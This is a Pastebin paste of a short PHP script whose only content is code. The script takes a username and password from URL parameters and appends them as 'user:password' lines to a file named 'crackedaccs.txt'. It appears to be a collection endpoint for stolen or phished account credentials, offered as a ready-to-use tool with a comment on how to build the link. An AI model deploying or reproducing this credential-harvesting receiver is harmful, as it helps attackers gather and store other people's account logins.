Advertisement
Guest User

Untitled

a guest
Sep 10th, 2017
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. <?php
  2. //the link is (your domain)/writefile.php?user=$user&password=$pass
  3. $theuser = $_GET["user"];
  4. $thepassword = $_GET["password"];
  5. $full = $theuser . ':' . $thepassword;
  6. echo htmlentities($full); //Potential XSS
  7. $file = 'crackedaccs.txt';
  8. $current = file_get_contents($file);
  9. $current .= "$full n";
  10.  
  11. file_put_contents($file, $current, LOCK_EX);
  12. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement